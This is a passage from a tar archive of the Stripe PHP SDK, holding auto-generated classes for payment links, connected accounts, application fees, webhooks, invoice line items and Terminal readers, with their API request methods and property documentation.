\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string|\Stripe\Account $on_behalf_of The account on behalf of which to charge. See the <a href="https://support.stripe.com/questions/sending-invoices-on-behalf-of-connected-accounts">Connect documentation</a> for details. * @property null|\Stripe\StripeObject $payment_intent_data Indicates the parameters to be passed to PaymentIntent creation during checkout. * @property string $payment_method_collection Configuration for collecting a payment method during checkout. Defaults to <code>always</code>. * @property null|string[] $payment_method_types The list of payment method types that customers can use. When <code>null</code>, Stripe will dynamically show relevant payment methods you've enabled in your <a href="https://dashboard.stripe.com/settings/payment_methods">payment method settings</a>. * @property \Stripe\StripeObject $phone_number_collection * @property null|\Stripe\StripeObject $restrictions Settings that restrict the usage of a payment link. * @property null|\Stripe\StripeObject $shipping_address_collection Configuration for collecting the customer's shipping address. * @property \Stripe\StripeObject[] $shipping_options The shipping rate options applied to the session. * @property string $submit_type Indicates the type of transaction being performed which customizes relevant text on the page, such as the submit button. * @property null|\Stripe\StripeObject $subscription_data When creating a subscription, the specified configuration data will be used. There must be at least one line item with a recurring price to use <code>subscription_data</code>. * @property \Stripe\StripeObject $tax_id_collection * @property null|\Stripe\StripeObject $transfer_data The account (if any) the payments will be attributed to for tax reporting, and where funds from each payment will be transferred to. * @property string $url The public URL that can be shared with customers. */ class PaymentLink extends ApiResource { const OBJECT_NAME = 'payment_link'; use ApiOperations\Update; const BILLING_ADDRESS_COLLECTION_AUTO = 'auto'; const BILLING_ADDRESS_COLLECTION_REQUIRED = 'required'; const CUSTOMER_CREATION_ALWAYS = 'always'; const CUSTOMER_CREATION_IF_REQUIRED = 'if_required'; const PAYMENT_METHOD_COLLECTION_ALWAYS = 'always'; const PAYMENT_METHOD_COLLECTION_IF_REQUIRED = 'if_required'; const SUBMIT_TYPE_AUTO = 'auto'; const SUBMIT_TYPE_BOOK = 'book'; const SUBMIT_TYPE_DONATE = 'donate'; const SUBMIT_TYPE_PAY = 'pay'; /** * Creates a payment link. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentLink the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of your payment links. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentLink> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieve a payment link. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentLink */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates a payment link. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\PaymentLink the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param string $id * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\LineItem> list of line items */ public static function allLineItems($id, $params = null, $opts = null) { $url = static::resourceUrl($id) . '/line_items'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Application.php������������������������������������������������������������������0000644�����������������00000000604�14720677707�0013254 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $name The name of the application. */ class Application extends ApiResource { const OBJECT_NAME = 'application'; } ����������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Webhook.php����������������������������������������������������������������������0000644�����������������00000003025�14720677707�0012407 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; abstract class Webhook { const DEFAULT_TOLERANCE = 300; /** * Returns an Event instance using the provided JSON payload. Throws an * Exception\UnexpectedValueException if the payload is not valid JSON, and * an Exception\SignatureVerificationException if the signature * verification fails for any reason. * * @param string $payload the payload sent by Stripe * @param string $sigHeader the contents of the signature header sent by * Stripe * @param string $secret secret used to generate the signature * @param int $tolerance maximum difference allowed between the header's * timestamp and the current time * * @throws Exception\UnexpectedValueException if the payload is not valid JSON, * @throws Exception\SignatureVerificationException if the verification fails * * @return Event the Event instance */ public static function constructEvent($payload, $sigHeader, $secret, $tolerance = self::DEFAULT_TOLERANCE) { WebhookSignature::verifyHeader($payload, $sigHeader, $secret, $tolerance); $data = \json_decode($payload, true); $jsonError = \json_last_error(); if (null === $data && \JSON_ERROR_NONE !== $jsonError) { $msg = "Invalid payload: {$payload} " . "(json_last_error() was {$jsonError})"; throw new Exception\UnexpectedValueException($msg); } return Event::constructFrom($data); } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Account.php����������������������������������������������������������������������0000644�����������������00000053314�14720677707�0012413 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * This is an object representing a Stripe account. You can retrieve it to see * properties on the account like its current requirements or if the account is * enabled to make live charges or receive payouts. * * For accounts where <a href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> * is <code>application</code>, which includes Custom accounts, the properties below are always * returned. * * For accounts where <a href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> * is <code>stripe</code>, which includes Standard and Express accounts, some properties are only returned * until you create an <a href="/api/account_links">Account Link</a> or <a href="/api/account_sessions">Account Session</a> * to start Connect Onboarding. Learn about the <a href="/connect/accounts">differences between accounts</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $business_profile Business information about the account. * @property null|string $business_type The business type. After you create an <a href="/api/account_links">Account Link</a> or <a href="/api/account_sessions">Account Session</a>, this property is only returned for accounts where <a href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> is <code>application</code>, which includes Custom accounts. * @property null|\Stripe\StripeObject $capabilities * @property null|bool $charges_enabled Whether the account can create live charges. * @property null|\Stripe\StripeObject $company * @property null|\Stripe\StripeObject $controller * @property null|string $country The account's country. * @property null|int $created Time at which the account was connected. Measured in seconds since the Unix epoch. * @property null|string $default_currency Three-letter ISO currency code representing the default currency for the account. This must be a currency that <a href="https://stripe.com/docs/payouts">Stripe supports in the account's country</a>. * @property null|bool $details_submitted Whether account details have been submitted. Accounts with Stripe Dashboard access, which includes Standard accounts, cannot receive payouts before this is true. Accounts where this is false should be directed to <a href="/connect/onboarding">an onboarding flow</a> to finish submitting account details. * @property null|string $email An email address associated with the account. It's not used for authentication and Stripe doesn't market to this field without explicit approval from the platform. * @property null|\Stripe\Collection<\Stripe\BankAccount|\Stripe\Card> $external_accounts External accounts (bank accounts and debit cards) currently attached to this account. External accounts are only returned for requests where <code>controller[is_controller]</code> is true. * @property null|\Stripe\StripeObject $future_requirements * @property null|\Stripe\Person $individual <p>This is an object representing a person associated with a Stripe account.</p><p>A platform cannot access a person for an account where <a href="/api/accounts/object#account_object-controller-requirement_collection">account.controller.requirement_collection</a> is <code>stripe</code>, which includes Standard and Express accounts, after creating an Account Link or Account Session to start Connect onboarding.</p><p>See the <a href="/connect/standard-accounts">Standard onboarding</a> or <a href="/connect/express-accounts">Express onboarding</a> documentation for information about prefilling information and account onboarding steps. Learn more about <a href="/connect/handling-api-verification#person-information">handling identity verification with the API</a>.</p> * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|bool $payouts_enabled Whether Stripe can send payouts to this account. * @property null|\Stripe\StripeObject $requirements * @property null|\Stripe\StripeObject $settings Options for customizing how the account functions within Stripe. * @property null|\Stripe\StripeObject $tos_acceptance * @property null|string $type The Stripe account type. Can be <code>standard</code>, <code>express</code>, <code>custom</code>, or <code>none</code>. */ class Account extends ApiResource { const OBJECT_NAME = 'account'; use ApiOperations\NestedResource; use ApiOperations\Update; const BUSINESS_TYPE_COMPANY = 'company'; const BUSINESS_TYPE_GOVERNMENT_ENTITY = 'government_entity'; const BUSINESS_TYPE_INDIVIDUAL = 'individual'; const BUSINESS_TYPE_NON_PROFIT = 'non_profit'; const TYPE_CUSTOM = 'custom'; const TYPE_EXPRESS = 'express'; const TYPE_NONE = 'none'; const TYPE_STANDARD = 'standard'; /** * With <a href="/docs/connect">Connect</a>, you can create Stripe accounts for * your users. To do this, you’ll first need to <a * href="https://dashboard.stripe.com/account/applications/settings">register your * platform</a>. * * If you’ve already collected information for your connected accounts, you <a * href="/docs/connect/best-practices#onboarding">can prefill that information</a> * when creating the account. Connect Onboarding won’t ask for the prefilled * information during account onboarding. You can prefill any information on the * account. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * With <a href="/connect">Connect</a>, you can delete accounts you manage. * * Test-mode accounts can be deleted at any time. * * Live-mode accounts where Stripe is responsible for negative account balances * cannot be deleted, which includes Standard accounts. Live-mode accounts where * your platform is liable for negative account balances, which includes Custom and * Express accounts, can be deleted when all <a * href="/api/balance/balanace_object">balances</a> are zero. * * If you want to delete your own account, use the <a * href="https://dashboard.stripe.com/settings/account">account information tab in * your account settings</a> instead. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of accounts connected to your platform via <a * href="/docs/connect">Connect</a>. If you’re not a platform, the list is empty. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Account> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Updates a <a href="/connect/accounts">connected account</a> by setting the * values of the parameters passed. Any parameters not provided are left unchanged. * * For accounts where <a * href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> * is <code>application</code>, which includes Custom accounts, you can update any * information on the account. * * For accounts where <a * href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> * is <code>stripe</code>, which includes Standard and Express accounts, you can * update all information until you create an <a href="/api/account_links">Account * Link</a> or <a href="/api/account_sessions">Account Session</a> to start Connect * onboarding, after which some properties can no longer be updated. * * To update your own account, use the <a * href="https://dashboard.stripe.com/settings/account">Dashboard</a>. Refer to our * <a href="/docs/connect/updating-accounts">Connect</a> documentation to learn * more about updating accounts. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } use ApiOperations\Retrieve { retrieve as protected _retrieve; } public static function getSavedNestedResources() { static $savedNestedResources = null; if (null === $savedNestedResources) { $savedNestedResources = new Util\Set([ 'external_account', 'bank_account', ]); } return $savedNestedResources; } public function instanceUrl() { if (null === $this['id']) { return '/v1/account'; } return parent::instanceUrl(); } /** * @param null|array|string $id the ID of the account to retrieve, or an * options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account */ public static function retrieve($id = null, $opts = null) { if (!$opts && \is_string($id) && 'sk_' === \substr($id, 0, 3)) { $opts = $id; $id = null; } return self::_retrieve($id, $opts); } public function serializeParameters($force = false) { $update = parent::serializeParameters($force); if (isset($this->_values['legal_entity'])) { $entity = $this['legal_entity']; if (isset($entity->_values['additional_owners'])) { $owners = $entity['additional_owners']; $entityUpdate = isset($update['legal_entity']) ? $update['legal_entity'] : []; $entityUpdate['additional_owners'] = $this->serializeAdditionalOwners($entity, $owners); $update['legal_entity'] = $entityUpdate; } } if (isset($this->_values['individual'])) { $individual = $this['individual']; if (($individual instanceof Person) && !isset($update['individual'])) { $update['individual'] = $individual->serializeParameters($force); } } return $update; } private function serializeAdditionalOwners($legalEntity, $additionalOwners) { if (isset($legalEntity->_originalValues['additional_owners'])) { $originalValue = $legalEntity->_originalValues['additional_owners']; } else { $originalValue = []; } if (($originalValue) && (\count($originalValue) > \count($additionalOwners))) { throw new Exception\InvalidArgumentException( 'You cannot delete an item from an array, you must instead set a new array' ); } $updateArr = []; foreach ($additionalOwners as $i => $v) { $update = ($v instanceof StripeObject) ? $v->serializeParameters() : $v; if ([] !== $update) { if (!$originalValue || !\array_key_exists($i, $originalValue) || ($update !== $legalEntity->serializeParamsValue($originalValue[$i], null, false, true))) { $updateArr[$i] = $update; } } } return $updateArr; } /** * @param null|array $clientId * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\StripeObject object containing the response from the API */ public function deauthorize($clientId = null, $opts = null) { $params = [ 'client_id' => $clientId, 'stripe_user_id' => $this->id, ]; return OAuth::deauthorize($params, $opts); } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account the rejected account */ public function reject($params = null, $opts = null) { $url = $this->instanceUrl() . '/reject'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } const PATH_CAPABILITIES = '/capabilities'; /** * @param string $id the ID of the account on which to retrieve the capabilities * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Capability> the list of capabilities */ public static function allCapabilities($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_CAPABILITIES, $params, $opts); } /** * @param string $id the ID of the account to which the capability belongs * @param string $capabilityId the ID of the capability to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Capability */ public static function retrieveCapability($id, $capabilityId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_CAPABILITIES, $capabilityId, $params, $opts); } /** * @param string $id the ID of the account to which the capability belongs * @param string $capabilityId the ID of the capability to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Capability */ public static function updateCapability($id, $capabilityId, $params = null, $opts = null) { return self::_updateNestedResource($id, static::PATH_CAPABILITIES, $capabilityId, $params, $opts); } const PATH_EXTERNAL_ACCOUNTS = '/external_accounts'; /** * @param string $id the ID of the account on which to retrieve the external accounts * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\BankAccount|\Stripe\Card> the list of external accounts (BankAccount or Card) */ public static function allExternalAccounts($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_EXTERNAL_ACCOUNTS, $params, $opts); } /** * @param string $id the ID of the account on which to create the external account * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card */ public static function createExternalAccount($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_EXTERNAL_ACCOUNTS, $params, $opts); } /** * @param string $id the ID of the account to which the external account belongs * @param string $externalAccountId the ID of the external account to delete * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card */ public static function deleteExternalAccount($id, $externalAccountId, $params = null, $opts = null) { return self::_deleteNestedResource($id, static::PATH_EXTERNAL_ACCOUNTS, $externalAccountId, $params, $opts); } /** * @param string $id the ID of the account to which the external account belongs * @param string $externalAccountId the ID of the external account to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card */ public static function retrieveExternalAccount($id, $externalAccountId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_EXTERNAL_ACCOUNTS, $externalAccountId, $params, $opts); } /** * @param string $id the ID of the account to which the external account belongs * @param string $externalAccountId the ID of the external account to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card */ public static function updateExternalAccount($id, $externalAccountId, $params = null, $opts = null) { return self::_updateNestedResource($id, static::PATH_EXTERNAL_ACCOUNTS, $externalAccountId, $params, $opts); } const PATH_LOGIN_LINKS = '/login_links'; /** * @param string $id the ID of the account on which to create the login link * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\LoginLink */ public static function createLoginLink($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_LOGIN_LINKS, $params, $opts); } const PATH_PERSONS = '/persons'; /** * @param string $id the ID of the account on which to retrieve the persons * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Person> the list of persons */ public static function allPersons($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_PERSONS, $params, $opts); } /** * @param string $id the ID of the account on which to create the person * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Person */ public static function createPerson($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_PERSONS, $params, $opts); } /** * @param string $id the ID of the account to which the person belongs * @param string $personId the ID of the person to delete * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Person */ public static function deletePerson($id, $personId, $params = null, $opts = null) { return self::_deleteNestedResource($id, static::PATH_PERSONS, $personId, $params, $opts); } /** * @param string $id the ID of the account to which the person belongs * @param string $personId the ID of the person to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Person */ public static function retrievePerson($id, $personId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_PERSONS, $personId, $params, $opts); } /** * @param string $id the ID of the account to which the person belongs * @param string $personId the ID of the person to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Person */ public static function updatePerson($id, $personId, $params = null, $opts = null) { return self::_updateNestedResource($id, static::PATH_PERSONS, $personId, $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/ApplicationFee.php���������������������������������������������������������������0000644�����������������00000013262�14720677707�0013700 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string|\Stripe\Account $account ID of the Stripe account this fee was taken from. * @property int $amount Amount earned, in cents (or local equivalent). * @property int $amount_refunded Amount in cents (or local equivalent) refunded (can be less than the amount attribute on the fee if a partial refund was issued) * @property string|\Stripe\Application $application ID of the Connect application that earned the fee. * @property null|string|\Stripe\BalanceTransaction $balance_transaction Balance transaction that describes the impact of this collected application fee on your account balance (not including refunds). * @property string|\Stripe\Charge $charge ID of the charge that the application fee was taken from. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|\Stripe\StripeObject $fee_source Polymorphic source of the application fee. Includes the ID of the object the application fee was created from. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string|\Stripe\Charge $originating_transaction ID of the corresponding charge on the platform account, if this fee was the result of a charge using the <code>destination</code> parameter. * @property bool $refunded Whether the fee has been fully refunded. If the fee is only partially refunded, this attribute will still be false. * @property \Stripe\Collection<\Stripe\ApplicationFeeRefund> $refunds A list of refunds that have been applied to the fee. */ class ApplicationFee extends ApiResource { const OBJECT_NAME = 'application_fee'; use ApiOperations\NestedResource; /** * Returns a list of application fees you’ve previously collected. The application * fees are returned in sorted order, with the most recent fees appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ApplicationFee> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of an application fee that your account has collected. The * same information is returned when refunding the application fee. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplicationFee */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } const PATH_REFUNDS = '/refunds'; /** * @param string $id the ID of the application fee on which to retrieve the application fee refunds * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\ApplicationFeeRefund> the list of application fee refunds */ public static function allRefunds($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_REFUNDS, $params, $opts); } /** * @param string $id the ID of the application fee on which to create the application fee refund * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplicationFeeRefund */ public static function createRefund($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_REFUNDS, $params, $opts); } /** * @param string $id the ID of the application fee to which the application fee refund belongs * @param string $refundId the ID of the application fee refund to retrieve * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplicationFeeRefund */ public static function retrieveRefund($id, $refundId, $params = null, $opts = null) { return self::_retrieveNestedResource($id, static::PATH_REFUNDS, $refundId, $params, $opts); } /** * @param string $id the ID of the application fee to which the application fee refund belongs * @param string $refundId the ID of the application fee refund to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\ApplicationFeeRefund */ public static function updateRefund($id, $refundId, $params = null, $opts = null) { return self::_updateNestedResource($id, static::PATH_REFUNDS, $refundId, $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/InvoiceLineItem.php��������������������������������������������������������������0000644�����������������00000011345�14720677707�0014040 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount The amount, in cents (or local equivalent). * @property null|int $amount_excluding_tax The integer amount in cents (or local equivalent) representing the amount for this line item, excluding all tax and discounts. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|\Stripe\StripeObject[] $discount_amounts The amount of discount calculated per discount for this line item. * @property bool $discountable If true, discounts will apply to this line item. Always false for prorations. * @property (string|\Stripe\Discount)[] $discounts The discounts applied to the invoice line item. Line item discounts are applied before invoice discounts. Use <code>expand[]=discounts</code> to expand each discount. * @property null|string $invoice The ID of the invoice that contains this line item. * @property null|string|\Stripe\InvoiceItem $invoice_item The ID of the <a href="https://stripe.com/docs/api/invoiceitems">invoice item</a> associated with this line item if any. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Note that for line items with <code>type=subscription</code>, <code>metadata</code> reflects the current metadata from the subscription associated with the line item, unless the invoice line was directly updated with different metadata after creation. * @property \Stripe\StripeObject $period * @property null|\Stripe\Plan $plan The plan of the subscription, if the line item is a subscription or a proration. * @property null|\Stripe\Price $price The price of the line item. * @property bool $proration Whether this is a proration. * @property null|\Stripe\StripeObject $proration_details Additional details for proration line items * @property null|int $quantity The quantity of the subscription, if the line item is a subscription or a proration. * @property null|string|\Stripe\Subscription $subscription The subscription that the invoice item pertains to, if any. * @property null|string|\Stripe\SubscriptionItem $subscription_item The subscription item that generated this line item. Left empty if the line item is not an explicit result of a subscription. * @property null|\Stripe\StripeObject[] $tax_amounts The amount of tax calculated per tax rate for this line item * @property null|\Stripe\TaxRate[] $tax_rates The tax rates which apply to the line item. * @property string $type A string identifying the type of the source of this line item, either an <code>invoiceitem</code> or a <code>subscription</code>. * @property null|string $unit_amount_excluding_tax The amount in cents (or local equivalent) representing the unit amount for this line item, excluding all tax and discounts. */ class InvoiceLineItem extends ApiResource { const OBJECT_NAME = 'line_item'; use ApiOperations\Update; /** * Updates an invoice’s line item. Some fields, such as <code>tax_amounts</code>, * only live on the invoice line item, so they can only be updated through this * endpoint. Other fields, such as <code>amount</code>, live on both the invoice * item and the invoice line item, so updates on this endpoint will propagate to * the invoice item as well. Updating an invoice’s line item is only possible * before the invoice is finalized. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\InvoiceLineItem the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Terminal/ConnectionToken.php�����������������������������������������������������0000644�����������������00000003421�14720677707�0015664 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Terminal; /** * A Connection Token is used by the Stripe Terminal SDK to connect to a reader. * * Related guide: <a href="https://stripe.com/docs/terminal/fleet/locations">Fleet management</a> * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string $location The id of the location that this connection token is scoped to. Note that location scoping only applies to internet-connected readers. For more details, see <a href="https://docs.stripe.com/terminal/fleet/locations-and-zones?dashboard-or-api=api#connection-tokens">the docs on scoping connection tokens</a>. * @property string $secret Your application should pass this token to the Stripe Terminal SDK. */ class ConnectionToken extends \Stripe\ApiResource { const OBJECT_NAME = 'terminal.connection_token'; /** * To connect to a reader the Stripe Terminal SDK needs to retrieve a short-lived * connection token from Stripe, proxied through your server. On your backend, add * an endpoint that creates and returns a connection token. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Terminal\ConnectionToken the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Terminal/Reader.php��������������������������������������������������������������0000644�����������������00000017773�14720677707�0014005 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Terminal; /** * A Reader represents a physical device for accepting payment details. * * Related guide: <a href="https://stripe.com/docs/terminal/payments/connect-reader">Connecting to a reader</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $action The most recent action performed by the reader. * @property null|string $device_sw_version The current software version of the reader. * @property string $device_type Type of reader, one of <code>bbpos_wisepad3</code>, <code>stripe_m2</code>, <code>stripe_s700</code>, <code>bbpos_chipper2x</code>, 